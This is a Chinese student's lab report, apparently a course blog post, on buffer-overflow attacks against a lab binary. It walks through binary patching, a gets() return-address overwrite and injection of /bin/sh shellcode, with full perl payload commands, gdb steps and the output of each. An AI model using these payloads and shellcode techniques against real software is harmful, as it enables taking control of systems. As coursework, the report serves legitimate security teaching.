20222401 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本次实验是关于缓冲区溢出攻击的,主要的学习内容如下:

1.基本Linux命令

objdump:将代码段反汇编,在这次实验中主要是用来找地址的。

xxd:实现十六进制与二进制的转换,在这次实验的过程中,主要是有两个地方用到了这个命令。一是在打开文件后进行转换,而是以十六进制打开文件,保证字符串构造正确。

还有一些gdb调试过程中用到的命令。

2.内存地址结构

对于程序在计算机中的存储有了一个基本的了解,主要是对诸如eip,esp等寄存器的功能有了一个大概的了解。

3.学习基本的BOF注入攻击原理

这次实验总共进行了两次BOF注入攻击,通过修改机器指令,或者注入shellcode,从而实现对原程序执行逻辑的改变。

2.实验过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

2.1.1传入文件

首先,把这次实验的需要用到的文件在自己的电脑上下载好,然后直接传入kali虚拟机,改成符合要求的文件名。
image

2.1.2执行反汇编

在这一步,需要启动root权限的终端,进行反汇编,指令如下

┌──(root㉿yinzixin)-[~]
└─# cd /home/kali/桌面
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# objdump -d pwn20222401 | more

下面展示一下反汇编的结果(只展示一会要操作的部分)

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave
 8048490:       c3                      ret

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave
 80484ae:       c3                      ret

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax
 80484bf:       c9                      leave
 80484c0:       c3                      ret
 80484c1:       66 90                   xchg   %ax,%ax
 80484c3:       66 90                   xchg   %ax,%ax
 80484c5:       66 90                   xchg   %ax,%ax
 80484c7:       66 90                   xchg   %ax,%ax
 80484c9:       66 90                   xchg   %ax,%ax
 80484cb:       66 90                   xchg   %ax,%ax
 80484cd:       66 90                   xchg   %ax,%ax
 80484cf:       90                      nop

2.1.3分析、修改以实现跳转

我们重点关注main函数的这一行

80484b5:       e8 d7 ff ff ff          call   8048491 <foo>

这里是main函数跳转执行地址8048491的foo函数,我们现在想让main函数在这里执行getshell函数,只需要将这里的执行地址改成getshell的首地址,就可以跳转执行到getshell。

经过查询,call的机器码是e8,那后面的d7 ff ff ff应该就是地址,这个是机器补码,正确的顺序应该是FF FF FF D7,十进制数值是-41,对应16进制应该是负的0x29,用80484ba(这里是下一跳地址,我猜测是因为地址寄存器已经发生变化,不能使用本次的地址)减去29正好就是8048491,对应着foo函数的地址.

所以想要让这一步能够执行getshell函数,就需要调整好这个数值,使得跳转地址变成getshell函数的地址,即804847d,计算之后是FF FF FF C3,反过来就是c3 ff ff ff,则修改之后的指令应该是e8 c3 ff ff ff。

接下来进行修改。这里我们使用拷贝的副本(主要是后面还要用这个文件,直接改掉了后面会比较麻烦)pwn20222401_getShell,复制命令如下

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_getShell

image
然后使用文本编辑功能打开文件,修改相应位置即可。

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# vi pwn20222401

image
使用下面的命令进行转换(要是看得懂可以不转换)

:%!xxd(这个就是前面提到的十六进制转换)

image

然后查找我们要修改的地址f0e8 d7ff,这里需要注意,查找时“/e8d7”的查找是失效的,只能查找前半部分或者后半部分。
image
f0e8查找成功
image
d7ff查找成功
image
e8d7查找失败
接下来,我们按照上面的分析进行修改(需要按“i”进入编辑模式),注意,修改之后需要输入:%!xxd -r进行格式转换,否则写入不成功。

2.1.4运行测试

image
原先的程序,会输出你输入的字符串
image
修改之后的程序,已经变成shell的样子了。
说明修改成功了,达到了我们预设的效果。

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

2.2.1字符串长度确定

核心原理:通过输入一个合适的字符串,使得字符串末尾正好覆盖地址指针寄存器,从而实现跳转。
这里测试一下111112222233333444445555566666777778888899999
注意,需要在gdb调试环境下查看
image
我们注意到eip那一行是0x38373737,翻译一下就是8 7 7 7,也就是说现在这个字符串有点长了~
根据这个信息,可以调整一下,变成111112222233333444445555566666771234,再试一下
image
这次我们看到,正正好好就是0x34333231,对应的是4 3 2 1,说明现在这个字符串的后四位不偏不倚地覆盖了eip,那么后续我们只需要将这里换成相应的跳转地址就可以了。

根据上文,getshell的首地址是804847d,那么我们应该输入11111111222222223333333344444444\x7d\x84\x04\x08
但是16进制是不能通过键盘输入的,所以需要构造一个文件,命令如下

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

查看一下文件的内容,保证没问题
image

2.2.2运行测试

接下来只需要将这个文件“强行输入”进原先的程序,就能触发,命令如下

(cat input; cat) | ./pwn20222401_BOF

image
这里看到也是成功触发了getshell,证明我们的操作达到了预期效果。

2.3注入一个自己制作的shellcode并运行这段shellcode

2.3.1前置条件

shellcode注入需要一些条件,这里一一列出

execstack -s	//pwn1设置堆栈可执行
execstack -q	//pwn1查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space	//查看地址随机化状态

最后一条尤为重要,这是保证地址不发生变化的关键。

创建本次操作用的副本,并调整为可执行权限

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_shellcode
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# chmod 777 pwn20222401_shellcode

image

接下来构造payload,格式为anything+retaddr+nops+shellcode,先做一个试试看
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
image
然后再起一个终端,执行下面的注入命令(cat input_shellcode;cat) | ./pwn20222401_shellcode
接下来,切换回原来那个终端,查询刚才的进程号
ps -ef | grep pwn20222401_shellcode
image
我们得到了刚才运行的PID是84214,下面在gdb模式下进入进程。
设置断点disassemble foo break *0x080484ae
image
接下来,切换到另一个进程,按一下回车,然后再回来(让程序跑一步)
输入ci r(查看寄存器状态)
输入x/16x 0xffffd39c查看esp寄存器
image
我们的目标就是把代码放到0x01020304后面的位置上,所以,地址直接+4即可,就是0xffffd3a0,接下来生成新的input_shellcode文件

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

image

2.3.2测试运行

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# (cat input_shellcode;cat) | ./pwn20222401

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����������1�Ph//shh/bin��PS��1Ұ
															   �
ls
input_shellcode  pwn20222401
exit

image
这样我们看到,注入就成功了。

3.问题及解决方案

  • 问题1:execstack查找不到路径

  • 问题1解决方案:从http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载好相应的文件,然后拖回虚拟机,输入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb直接解压即可。

  • 问题2:gdb查找不到路径

  • 问题2解决方案:输入wget http://ftp.gnu.org/gnu/gdb/gdb-8.0.1.tar.gz下载,使用tar -zxvf /home/kali/Desktop/gdb-8.0.1.tar.gz解压。

  • 问题3:kali桌面系统卡死(只有默认壁纸)

  • 问题3解决方案:依次输入下列命令

      apt-get clean
      apt-get remove xfce4 xfce4-places-plugin
      apt-get install x-window-system-core
      apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin
      reboot
    
  • 问题4:终端名称无法修改

  • 问题4解决方案:输入hostnamectl set-hostname <新主机名>

  • 问题5:文件执行权限不足

  • 问题5解决方案:输入chmod 777 <文件名>

4.学习感悟、思考等

这一次的实验对我来说难度不算小,倒不是因为实验本身有多难,而是自己相关方面的知识欠缺较多。在理解BOF注入的过程中花费了很多时间在地址跳转理解上,同时,kali系统本身并不是很完善,运行过程中有时会出现很多问题,都需要一点点去排查(装gdb和execstack大概消耗了半天时间,很麻烦,基本上很多方法都试过了)。
在这次实验的过程中,让我印象最深刻的就是BOF注入的过程。首先是要确定攻击的目标是什么(esp),然后精心选择合适的字符串(太长也不行,会覆盖掉其他内容,导致程序崩溃),然后选择注入,最后才能实现。这次算是很直观的体会到了缓冲区溢出的危险,本次使用的是“人畜无害”的shellcode,要是执行了其他恶意代码,对操作系统的危害是不可估量的。
最后,这次实验还有很多内容我是一知半解的,还需要在接下来的时间里面慢慢学习。

参考资料

posted @ 2024-10-09 22:09  _兰草一枚  阅读(21)  评论(0编辑  收藏  举报